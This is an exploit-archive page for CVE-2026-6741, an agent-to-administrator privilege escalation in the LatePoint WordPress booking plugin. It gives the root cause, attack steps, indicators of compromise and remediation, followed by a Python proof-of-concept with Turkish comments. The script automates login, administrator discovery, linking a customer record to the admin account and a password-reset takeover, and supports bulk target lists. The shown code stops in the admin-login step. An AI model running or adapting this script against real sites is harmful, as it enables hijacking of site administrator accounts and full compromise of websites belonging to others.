PoC Archive PoC Archive
High CVE-2026-6741 patched

LatePoint Calendar Booking Plugin Agent-to-Administrator Privilege Escalation — CVE-2026-6741

by xxconi (crediting original discovery to skyv3il / AI SAFE, Chirita Catalin-Andrei "CC99IE" / UVT-CTF, and AmonRa / Wordfence) · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-6741
Category
web
Affected product
LatePoint – Calendar Booking Plugin for Appointments and Events (WordPress plugin, slug latepoint)
Affected versions
<= 5.4.1 (fixed in 5.4.2); requires WordPress 6.9+ (Abilities API)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherxxconi (crediting original discovery to skyv3il / AI SAFE, Chirita Catalin-Andrei “CC99IE” / UVT-CTF, and AmonRa / Wordfence)
CVE / AdvisoryCVE-2026-6741
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, per source repository)
StatusPoC
Tagswordpress, latepoint, privilege-escalation, abilities-api, rest-api, account-takeover, cwe-269
RelatedN/A

Affected Target

FieldValue
Software / SystemLatePoint – Calendar Booking Plugin for Appointments and Events (WordPress plugin, slug latepoint)
Versions Affected<= 5.4.1 (fixed in 5.4.2); requires WordPress 6.9+ (Abilities API)
Language / PlatformPHP (WordPress plugin), PoC written in Python 3
Authentication RequiredYes — attacker needs an authenticated account with the latepoint_agent role
Network Access RequiredYes

Summary

LatePoint 5.3.0+ registers a WordPress Abilities API ability, latepoint/connect-customer-to-wp-user, that links a LatePoint customer record to an arbitrary WordPress user ID. The ability’s permission check only verifies that the calling user holds the customer__edit capability (which the low-privileged latepoint_agent role has by default) — it never validates that the target WordPress user is not an administrator. An authenticated agent can therefore link a customer record they control to the WordPress administrator account, then walk through LatePoint’s own customer password-reset flow to set the linked WordPress user’s (i.e. the administrator’s) password via wp_set_password(), resulting in full site takeover.


Vulnerability Details

Root Cause

The connect-customer-to-wp-user ability (lib/abilities/customers/connect-customer-to-wp-user.php) sets $this->permission = 'customer__edit', a capability granted to the latepoint_agent role by default (lib/helpers/roles_helper.php). Its execute() method only checks get_userdata($wp_user_id) to confirm the target WP user exists — it does not check the target’s role — before setting $customer->wordpress_user_id = $wp_user_id and saving. Later, OsCustomerModel::update_password() (lib/models/customer_model.php) calls wp_set_password($password, $this->wordpress_user_id) whenever a linked customer’s password is reset through LatePoint’s own flow, meaning if wordpress_user_id has been pointed at an administrator, that flow changes the administrator’s WordPress password.

Attack Vector

  1. Authenticate to WordPress as a user holding the latepoint_agent role and obtain a REST API nonce.
  2. Identify the target WordPress administrator’s user ID (e.g. via wp-json/wp/v2/users?roles=administrator, or ID 1 by default).
  3. POST to wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user with {"customer_id": <controlled_customer_id>, "wp_user_id": <admin_id>} — the missing target-role check allows this to succeed, linking the attacker-controlled customer record to the administrator account.
  4. Trigger LatePoint’s customer “forgot password” flow (?latepoint_route=customer_cabinet/forgot_password) for the linked customer’s email address, causing a reset token to be emailed to an address the attacker controls.
  5. Submit the reset token and a new password via ?latepoint_route=customer_cabinet/change_password, which invokes update_password()wp_set_password($new_password, $admin_id), changing the administrator’s WordPress password.
  6. Log in to wp-login.php as the administrator using the new password to obtain full administrative control of the site.

Impact

Any authenticated user with the low-privileged latepoint_agent role (typically a booking staff account, not intended to have administrative capability) can escalate to full WordPress administrator, resulting in complete compromise of the WordPress site and any data or integrations it controls.


Environment / Lab Setup

Target:   WordPress 6.9+ with LatePoint <= 5.4.1 active, and an account holding the latepoint_agent role
Attacker: Python 3 with the `requests` library (see requirements listed in the source repository), or manual curl per the documented step-by-step flow

Proof of Concept

PoC Script

See CVE-2026-6741.py in this folder.

1
2
python CVE-2026-6741.py -u http://target.example.com \
  --agent-user agent1 --agent-pass Pass123!

The script logs in as the supplied latepoint_agent account, obtains a REST nonce, auto-detects (or accepts manually-specified) an administrator WordPress user ID and a controlled LatePoint customer ID, links the customer record to the administrator via the vulnerable ability endpoint, triggers LatePoint’s password-reset email flow, and — once supplied with the reset token received by email (--reset-token) — completes the password change and verifies administrator access. It also supports bulk scanning of a target list (-l targets.txt) and proxying through Burp Suite (--proxy).


Detection & Indicators of Compromise

Example suspicious request:
POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user HTTP/1.1
X-WP-Nonce: <nonce>
Content-Type: application/json

{"customer_id": 5, "wp_user_id": 1}

Signs of compromise:

  • REST API requests to wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user linking a customer ID to a WordPress user ID belonging to the administrator role.
  • Unexpected customer_cabinet/forgot_password or customer_cabinet/change_password requests associated with a customer record linked to an administrator account.
  • Administrator password changes not preceded by a legitimate administrator-initiated password reset request.
  • Login as an administrator account shortly after unexplained password-reset activity tied to a LatePoint customer record.

Remediation

ActionDetail
Primary fixUpgrade LatePoint to 5.4.2 or later, which is expected to add a target-role check preventing linking of customer records to administrator (or otherwise privileged) WordPress accounts.
Interim mitigationRemove or restrict the customer__edit capability from the latepoint_agent role, disable the LatePoint customer password-reset flow for accounts linked to administrator users, and audit registered WordPress Abilities API endpoints for missing authorization checks.

References


Notes

Mirrored from https://github.com/xxconi/CVE-2026-6741 on 2026-07-05.

CVE-2026-6741.py
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#!/usr/bin/env python3
"""
CVE-2026-6741 — LatePoint Calendar Booking Plugin <= 5.4.1
Authenticated (Agent+) Privilege Escalation → Administrator Takeover

Saldırı Zinciri:
  1. Agent kimlik bilgileriyle oturum aç → REST nonce al
  2. Hedef admin WordPress user ID'sini tespit et
  3. LatePoint customer kaydını admin WP user'ına bağla
     (connect-customer-to-wp-user ability — eksik rol kontrolü)
  4. Bağlı customer için şifre sıfırlama başlat
  5. Reset token ile admin şifresini değiştir
     (wp_set_password($new_pass, $admin_id))
  6. Yeni şifreyle admin olarak giriş yap → tam site kontrolü

Gereksinimler:
  - WordPress 6.9+ (Abilities API)
  - LatePoint <= 5.4.1 kurulu ve aktif
  - latepoint_agent rolüne sahip hesap
  - Kontrol edilen bir LatePoint customer kaydı
"""

import requests
import argparse
import json
import re
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urlencode, quote

requests.packages.urllib3.disable_warnings()

G = "\033[92m"; R = "\033[91m"; Y = "\033[93m"
C = "\033[96m"; D = "\033[90m"; B = "\033[1m"; X = "\033[0m"

_lock    = Lock()
_counter = [0]

def out(msg):
    with _lock:
        sys.stdout.write("\r" + " " * 100 + "\r")
        sys.stdout.write(msg + "\n")
        sys.stdout.flush()

def progress(total):
    with _lock:
        _counter[0] += 1
        n   = _counter[0]
        pct = n * 100 // total
        bar = "█" * (pct // 5) + "░" * (20 - pct // 5)
        sys.stdout.write(f"\r[{bar}] {n}/{total} ({pct}%)  ")
        sys.stdout.flush()

# ══════════════════════════════════════════════════════════════
# ADIM 1 — AGENT OTURUM AÇMA + REST NONCE
# ══════════════════════════════════════════════════════════════

def agent_login(sess, base, username, password):
    """
    Agent kimlik bilgileriyle WordPress'e giriş yap.
    Cookie tabanlı oturum + REST API nonce al.
    """
    # Test cookie set et
    sess.cookies.set("wordpress_test_cookie", "WP Cookie check",
                     domain=base.split("//")[-1].split("/")[0])

    login_data = {
        "log":         username,
        "pwd":         password,
        "wp-submit":   "Log In",
        "redirect_to": "/wp-admin/",
        "testcookie":  "1",
    }

    try:
        r = sess.post(
            base + "/wp-login.php",
            data=login_data,
            allow_redirects=True,
            timeout=10,
        )

        # Giriş başarılı mı?
        logged_in = any(
            "wordpress_logged_in" in k
            for k in sess.cookies.keys()
        )

        if not logged_in:
            # Hata mesajı kontrol et
            if "incorrect" in r.text.lower() or "invalid" in r.text.lower():
                return {"status": "WRONG_CREDS"}
            if "latepoint_agent" not in r.text and "/wp-admin" not in r.url:
                return {"status": "LOGIN_FAILED", "hint": r.url}

        # REST nonce al
        nonce = get_rest_nonce(sess, base)
        if not nonce:
            return {"status": "NO_NONCE"}

        # Kullanıcı bilgilerini al
        user_info = get_current_user(sess, base, nonce)

        return {
            "status":    "OK",
            "nonce":     nonce,
            "user_info": user_info,
        }

    except requests.exceptions.Timeout:
        return {"status": "TIMEOUT"}
    except requests.exceptions.ConnectionError:
        return {"status": "CONN_ERR"}
    except Exception as e:
        return {"status": "EXCEPTION", "err": str(e)}

def get_rest_nonce(sess, base):
    """WordPress REST API nonce'ını al."""
    endpoints = [
        "/wp-admin/admin-ajax.php?action=rest-nonce",
        "/wp-admin/admin-ajax.php?action=wp_rest",
    ]
    for ep in endpoints:
        try:
            r = sess.get(base + ep, timeout=8)
            if r.status_code == 200:
                nonce = r.text.strip()
                if re.match(r'^[a-f0-9]{10}$', nonce):
                    return nonce
                # JSON yanıt
                try:
                    data = r.json()
                    n = data.get("nonce") or data.get("data", {}).get("nonce")
                    if n:
                        return n
                except: pass
        except: continue

    # Sayfa kaynağından çek
    try:
        r = sess.get(base + "/wp-admin/", timeout=8)
        m = re.search(r'"nonce"\s*:\s*"([a-f0-9]{10})"', r.text)
        if m:
            return m.group(1)
        m = re.search(r'wpApiSettings.*?"nonce"\s*:\s*"([^"]+)"', r.text, re.S)
        if m:
            return m.group(1)
    except: pass

    return None

def get_current_user(sess, base, nonce):
    """Mevcut kullanıcı bilgilerini al."""
    try:
        r = sess.get(
            base + "/wp-json/wp/v2/users/me",
            headers={"X-WP-Nonce": nonce},
            timeout=8,
        )
        if r.status_code == 200:
            return r.json()
    except: pass
    return {}

# ══════════════════════════════════════════════════════════════
# ADIM 2 — HEDEF ADMIN USER ID TESPİTİ
# ══════════════════════════════════════════════════════════════

def find_admin_user_ids(sess, base, nonce=None):
    """
    WordPress administrator kullanıcı ID'lerini bul.
    Birden fazla yöntem denenir.
    """
    admin_ids = []

    # 1. REST API — admin rolü filtreli
    headers = {"X-WP-Nonce": nonce} if nonce else {}
    for ep in [
        "/wp-json/wp/v2/users?roles=administrator&per_page=100",
        "/wp-json/wp/v2/users?per_page=100",
    ]:
        try:
            r = sess.get(base + ep, headers=headers, timeout=8)
            if r.status_code == 200:
                users = r.json()
                if isinstance(users, list):
                    for u in users:
                        roles = u.get("roles", [])
                        uid   = u.get("id", 0)
                        if "administrator" in roles and uid:
                            admin_ids.append({
                                "id":    uid,
                                "name":  u.get("name", ""),
                                "email": u.get("email", ""),
                                "slug":  u.get("slug", ""),
                            })
                    if admin_ids:
                        break
        except: continue

    # 2. ID 1 her zaman dene (genellikle ilk admin)
    if not any(a["id"] == 1 for a in admin_ids):
        try:
            r = sess.get(
                base + "/wp-json/wp/v2/users/1",
                headers=headers, timeout=5
            )
            if r.status_code == 200:
                u = r.json()
                if u.get("id"):
                    admin_ids.insert(0, {
                        "id":    u["id"],
                        "name":  u.get("name", ""),
                        "email": u.get("email", ""),
                        "slug":  u.get("slug", ""),
                    })
        except: pass

    # 3. Author sayfalarından ID tara (1-5)
    if not admin_ids:
        for i in range(1, 6):
            try:
                r = sess.get(
                    base + f"/?author={i}",
                    timeout=5, allow_redirects=True
                )
                if r.status_code == 200:
                    # author-{slug} class'ından ID çıkar
                    m = re.search(r'author-(\d+)', r.text)
                    if m:
                        admin_ids.append({
                            "id":    int(m.group(1)),
                            "name":  "",
                            "email": "",
                            "slug":  "",
                        })
            except: continue

    # Tekrarları kaldır
    seen = []
    unique = []
    for a in admin_ids:
        if a["id"] not in seen:
            seen.append(a["id"])
            unique.append(a)

    return unique if unique else [{"id": 1, "name": "admin", "email": "", "slug": ""}]

# ══════════════════════════════════════════════════════════════
# ADIM 3 — LATEPOINT CUSTOMER TESPİTİ / OLUŞTURMA
# ══════════════════════════════════════════════════════════════

def find_customer_id(sess, base, nonce, agent_email=None):
    """
    Agent'ın kontrol ettiği LatePoint customer ID'sini bul.
    LatePoint admin panelinden veya booking formundan.
    """
    # LatePoint admin panel — customer listesi
    endpoints = [
        "/wp-admin/admin.php?page=latepoint&action=customers",
        "/wp-admin/admin.php?page=latepoint-customers",
        "/wp-json/latepoint/v1/customers",
        "/wp-json/latepoint/v2/customers",
    ]

    for ep in endpoints:
        try:
            r = sess.get(
                base + ep,
                headers={"X-WP-Nonce": nonce},
                timeout=8,
            )
            if r.status_code == 200:
                # JSON yanıt
                try:
                    data = r.json()
                    customers = data if isinstance(data, list) else data.get("customers", [])
                    if customers:
                        # Agent'ın kendi emailiyle eşleşen customer bul
                        for c in customers:
                            cid   = c.get("id", 0)
                            email = c.get("email", "")
                            if agent_email and email == agent_email:
                                return cid, email
                        # İlk customer'ı döndür
                        first = customers[0]
                        return first.get("id", 0), first.get("email", "")
                except: pass

                # HTML yanıt — ID çıkar
                m = re.search(r'data-customer-id=["\'](\d+)["\']', r.text)
                if m:
                    return int(m.group(1)), ""
        except: continue

    return None, None

# ══════════════════════════════════════════════════════════════
# ADIM 4 — CUSTOMER → ADMIN BAĞLAMA (ZAFIYET)
# ══════════════════════════════════════════════════════════════

def connect_customer_to_admin(sess, base, nonce, customer_id, admin_wp_user_id):
    """
    LatePoint connect-customer-to-wp-user ability'sini çağır.
    Bu çağrı rol kontrolü yapmadan customer'ı admin'e bağlar.

    POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
    {
      "customer_id": <id>,
      "wp_user_id":  <admin_id>
    }
    """
    ability_endpoints = [
        "/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user",
        "/wp-json/wp/v1/abilities/latepoint/connect-customer-to-wp-user",
        "/wp-json/latepoint/v1/abilities/connect-customer-to-wp-user",
    ]

    payload = {
        "customer_id": customer_id,
        "wp_user_id":  admin_wp_user_id,
    }

    headers = {
        "Content-Type": "application/json",
        "X-WP-Nonce":   nonce,
    }

    for ep in ability_endpoints:
        try:
            r = sess.post(
                base + ep,
                json=payload,
                headers=headers,
                timeout=10,
            )

            if r.status_code in (200, 201):
                try:
                    data = r.json()
                    # Başarı kontrolü
                    wp_uid = (
                        data.get("wp_user_id") or
                        data.get("wordpress_user_id") or
                        data.get("data", {}).get("wp_user_id")
                    )
                    if wp_uid == admin_wp_user_id or str(wp_uid) == str(admin_wp_user_id):
                        return {
                            "status":   "LINKED",
                            "endpoint": ep,
                            "response": data,
                        }
                    # Hata mesajı yok ve 200 döndü
                    if "error" not in str(data).lower():
                        return {
                            "status":   "LINKED_ASSUMED",
                            "endpoint": ep,
                            "response": data,
                        }
                except:
                    if r.status_code == 200:
                        return {
                            "status":   "LINKED_RAW",
                            "endpoint": ep,
                            "raw":      r.text[:200],
                        }

            elif r.status_code == 403:
                return {"status": "FORBIDDEN", "hint": "Abilities API kapalı veya yetki yok"}
            elif r.status_code == 404:
                continue  # Sonraki endpoint'i dene

        except requests.exceptions.Timeout:
            return {"status": "TIMEOUT"}
        except Exception as e:
            return {"status": "EXCEPTION", "err": str(e)}

    return {"status": "ENDPOINT_NOT_FOUND"}

# ══════════════════════════════════════════════════════════════
# ADIM 5 — ŞİFRE SIFIRLAMA BAŞLAT
# ══════════════════════════════════════════════════════════════

def trigger_password_reset(sess, base, customer_email):
    """
    LatePoint customer cabinet forgot_password endpoint'ini çağır.
    Bu, customer'ın emailine reset token gönderir.
    """
    reset_endpoints = [
        "/?latepoint_route=customer_cabinet%2Fforgot_password",
        "/wp-admin/admin-ajax.php",
    ]

    for ep in reset_endpoints:
        try:
            if "admin-ajax" in ep:
                data = {
                    "action":               "latepoint_route_call",
                    "route_name":           "customer_cabinet__forgot_password",
                    "password_reset_email": customer_email,
                }
            else:
                data = {"password_reset_email": customer_email}

            r = sess.post(
                base + ep,
                data=data,
                headers={"Content-Type": "application/x-www-form-urlencoded"},
                timeout=10,
            )

            if r.status_code == 200:
                body = r.text.lower()
                if any(x in body for x in [
                    "email sent", "check your email", "reset link",
                    "password reset", "success", "sent"
                ]):
                    return {"status": "RESET_SENT", "endpoint": ep}

                # JSON yanıt
                try:
                    d = r.json()
                    if d.get("status") == "success" or d.get("success"):
                        return {"status": "RESET_SENT", "endpoint": ep}
                except: pass

                # 200 aldık, muhtemelen gönderildi
                return {"status": "RESET_MAYBE", "endpoint": ep, "raw": r.text[:200]}

        except: continue

    return {"status": "RESET_FAILED"}

# ══════════════════════════════════════════════════════════════
# ADIM 6 — ŞİFRE SIFIRLAMA TAMAMLA
# ══════════════════════════════════════════════════════════════

def complete_password_reset(sess, base, reset_token, new_password):
    """
    Reset token ile yeni şifreyi set et.
    update_password() → wp_set_password($new_pass, $admin_id)
    """
    change_endpoints = [
        "/?latepoint_route=customer_cabinet%2Fchange_password",
        "/wp-admin/admin-ajax.php",
    ]

    for ep in change_endpoints:
        try:
            if "admin-ajax" in ep:
                data = {
                    "action":                "latepoint_route_call",
                    "route_name":            "customer_cabinet__change_password",
                    "password_reset_token":  reset_token,
                    "password":              new_password,
                    "password_confirmation": new_password,
                }
            else:
                data = {
                    "password_reset_token":  reset_token,
                    "password":              new_password,
                    "password_confirmation": new_password,
                }

            r = sess.post(
                base + ep,
                data=data,
                headers={"Content-Type": "application/x-www-form-urlencoded"},
                timeout=10,
            )

            if r.status_code == 200:
                body = r.text.lower()
                if any(x in body for x in [
                    "password updated", "password changed",
                    "success", "updated"
                ]):
                    return {"status": "PASSWORD_CHANGED", "endpoint": ep}
                try:
                    d = r.json()
                    if d.get("status") == "success" or d.get("success"):
                        return {"status": "PASSWORD_CHANGED", "endpoint": ep}
                except: pass
                return {"status": "CHANGE_MAYBE", "endpoint": ep, "raw": r.text[:200]}

        except: continue

    return {"status": "CHANGE_FAILED"}

# ══════════════════════════════════════════════════════════════
# ADIM 7 — ADMİN OLARAK GİRİŞ YAP + DOĞRULA
# ══════════════════════════════════════════════════════════════

def login_as_admin(sess, base, admin_username, new_password):
    """Yeni şifreyle admin olarak giriş yap."""
    admin_sess = requests.Session()
    admin_sess.headers["User-Agent"] = sess.headers.get("User-Agent", "Mozilla/5.0")
    admin_sess.verify = False
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